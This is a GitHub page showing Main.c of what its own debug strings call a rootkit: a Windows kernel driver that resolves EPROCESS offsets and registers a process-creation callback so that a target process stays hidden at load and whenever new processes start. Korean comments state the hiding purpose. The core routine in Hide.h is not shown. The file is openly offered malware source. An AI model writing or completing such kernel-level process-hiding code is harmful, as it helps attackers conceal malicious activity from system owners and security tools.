-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathMain.c
57 lines (48 loc) · 1.32 KB
/
Main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <ntddk.h>
#include "Hide.h"
#include "Offset.h"
VOID ProcessCreateCallback(
_In_ HANDLE parentPid,
_In_ HANDLE processId,
_In_ BOOLEAN isCreate
)
{
UNREFERENCED_PARAMETER(parentPid);
if (isCreate)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "[Rootkit] New process detected. (PID: %u) Finding target process.\n", PtrToUint(processId));
HideProcess();
}
}
VOID OnUnload(
_In_ PDRIVER_OBJECT driverObject
)
{
UNREFERENCED_PARAMETER(driverObject);
PsSetCreateProcessNotifyRoutine(ProcessCreateCallback, TRUE);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "[Rootkit] Unloading driver.\n");
}
NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT pDriverObject,
_In_ PUNICODE_STRING pRegistryPath)
{
UNREFERENCED_PARAMETER(pDriverObject);
UNREFERENCED_PARAMETER(pRegistryPath);
if (InitializeOffsets() == FALSE)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "[Rootkit] Failed to get EPROCESS offsets.\n");
return STATUS_FAILED_DRIVER_ENTRY;
}
// 프로세스 새로 생성 시 숨기기 위해 콜백함수 루틴 등록
NTSTATUS status = PsSetCreateProcessNotifyRoutine(ProcessCreateCallback, FALSE);
if (!NT_SUCCESS(status))
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "[Rootkit] PsSetCreateProcessNotifyRoutine failed.\n");
return STATUS_FAILED_DRIVER_ENTRY;
}
HideProcess();
// 언로드 루틴 등록
pDriverObject->DriverUnload = OnUnload;
return STATUS_SUCCESS;
}